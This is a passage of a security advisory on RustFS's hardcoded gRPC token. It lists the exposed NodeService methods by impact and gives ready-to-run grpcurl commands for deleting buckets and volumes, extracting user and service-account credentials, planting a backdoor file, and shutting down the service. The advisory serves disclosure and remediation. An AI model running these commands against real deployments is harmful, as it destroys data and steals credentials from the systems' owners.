Advisory

GHSA-h956-rh7x-ppgj

Details, part 2 of 3. The advisory

Details

Result: ✅ Authenticated request accepted (business logic error returned, not auth error)

{
  "error": {
    "code": 36,
    "errorInfo": "io error can not find disk"
  }
}

Analysis:

  • Request passed authentication (error is business logic, not authentication)
  • Proves attacker has authenticated access to sensitive system information APIs

---

Impact Analysis

Affected APIs

All 50+ gRPC methods in node_service.NodeService are vulnerable:

🔴 CRITICAL Impact - Data Destruction

  • DeleteBucket - Delete production buckets
  • DeleteVolume - Destroy entire storage volumes
  • DeleteUser - Remove legitimate users
  • DeletePolicy - Remove access control policies
  • DeleteServiceAccount - Remove service accounts

🔴 CRITICAL Impact - Configuration Manipulation

  • ReloadSiteReplicationConfig - Corrupt cluster replication
  • SignalService - Control service lifecycle
  • LoadPolicy - Modify access control policies
  • LoadPolicyMapping - Alter policy assignments

🟠 HIGH Impact - Unauthorized Data Access/Modification

  • ReadAll / ReadAt - Read arbitrary data
  • WriteAll / WriteStream - Inject malicious data
  • RenameFile / RenameData - Manipulate file system
  • UpdateMetadata / WriteMetadata - Corrupt metadata

🟠 HIGH Impact - Privilege Escalation

  • LoadUser - Access user credentials
  • LoadServiceAccount - Access service credentials
  • LoadGroup - Access group memberships

🟡 MEDIUM Impact - Information Disclosure

  • ServerInfo - Server configuration disclosure
  • DiskInfo - Storage configuration disclosure
  • GetMetrics - Performance metrics disclosure
  • GetBucketStats - Bucket statistics disclosure
  • LocalStorageInfo - Storage system information
  • ListBucket - Bucket enumeration

🟡 MEDIUM Impact - Cluster Operations

  • MakeBucket - Unauthorized bucket creation
  • HealBucket - Trigger repair operations
  • BackgroundHealStatus - Monitor internal operations

Attack Scenarios

Scenario 1: Data Destruction

# Enumerate all buckets
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"options": "{}"}' \
  localhost:9000 node_service.NodeService/ListBucket

# Delete critical production bucket
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"bucket": "production-data"}' \
  localhost:9000 node_service.NodeService/DeleteBucket

# Delete entire storage volume
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"volume": "vol1"}' \
  localhost:9000 node_service.NodeService/DeleteVolume

Impact: Complete data loss, business disruption

Scenario 2: Credential Harvesting

# Extract user credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"access_key": "admin"}' \
  localhost:9000 node_service.NodeService/LoadUser

# Extract service account credentials
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"access_key": "service-account"}' \
  localhost:9000 node_service.NodeService/LoadServiceAccount

# Exfiltrate IAM policies
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"name": "admin-policy"}' \
  localhost:9000 node_service.NodeService/LoadPolicy

Impact: Complete IAM compromise, lateral movement

Scenario 3: Backdoor Installation

# Inject malicious data into system paths
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \
  localhost:9000 node_service.NodeService/WriteAll

# Modify system configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \
  localhost:9000 node_service.NodeService/WriteMetadata

Impact: Persistent compromise, further exploitation

Scenario 4: Cluster Disruption

# Corrupt replication configuration
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{}' \
  localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig

# Force service restart/shutdown
grpcurl -plaintext -H 'authorization: rustfs rpc' \
  -d '{"sig": 2}' \
  localhost:9000 node_service.NodeService/SignalService

Impact: Distributed system failure, data inconsistency

---

Exploitation Preconditions

Required Conditions

✅ All conditions typically met in production deployments:

  1. Network Access: Attacker can reach gRPC port (9000/TCP)
  • RustFS binds to 0.0.0.0 by default (all interfaces)
  • Commonly exposed for distributed node communication
  1. Token Knowledge: Token is publicly known
  • Available in public GitHub repository
  • Identical across all RustFS installations
  • Cannot be changed without code modification
  1. No Additional Security Controls:
  • No mTLS/certificate-based authentication
  • No IP whitelisting (typically)
  • No VPN/network segmentation requirements
  • No rate limiting on authentication attempts

Attack Complexity

Complexity: 🟢 TRIVIAL

  • Single grpcurl command with hardcoded token
  • No exploit development required
  • No timing or race conditions
  • No target-specific reconnaissance needed
  • Fully automatable
  • Works against any RustFS instance

Time to Exploit: < 1 minute

---

Security Impact

Confidentiality Impact: HIGH

  • Complete Data Disclosure: All stored objects readable via ReadAll/ReadAt
  • Credential Exposure: IAM users, service accounts, policies accessible
  • Configuration Disclosure: Server, storage, cluster configuration leaked
  • Metrics Exposure: Performance and usage metrics accessible

Integrity Impact: HIGH

  • Data Modification: Arbitrary data injection via WriteAll/WriteStream
  • Metadata Corruption: File metadata tampering via WriteMetadata
  • Policy Manipulation: IAM policies modifiable via LoadPolicy
  • Configuration Changes: Cluster replication config alterable

Availability Impact: HIGH

  • Data Destruction: Buckets/volumes deletable via DeleteBucket/DeleteVolume
  • Service Disruption: Service controllable via SignalService
  • Cluster Degradation: Replication corruption via ReloadSiteReplicationConfig
  • Resource Exhaustion: Arbitrary data writes, bucket creation

---

Compliance & Regulatory Impact

Standards Violated

PCI-DSS v4.0

  • Requirement 6.5.3: Broken authentication
  • Requirement 8.2: Strong authentication required
  • Requirement 8.6: Multi-factor authentication required

OWASP Top 10 2021

  • A07:2021 - Identification and Authentication Failures
  • Use of hard-coded credentials
  • Missing or ineffective authentication

CWE (Common Weakness Enumeration)

  • CWE-798: Use of Hard-coded Credentials (Rank: 37/400)
  • CWE-1391: Use of Weak Credentials
  • CWE-287: Improper Authentication

NIST Cybersecurity Framework

  • PR.AC-1: Access control mechanisms violated
  • PR.AC-7: Authentication mechanisms insufficient

SOC 2 Type II

  • CC6.1: Logical access controls inadequate
  • CC6.6: Credential management controls missing

Sources & licences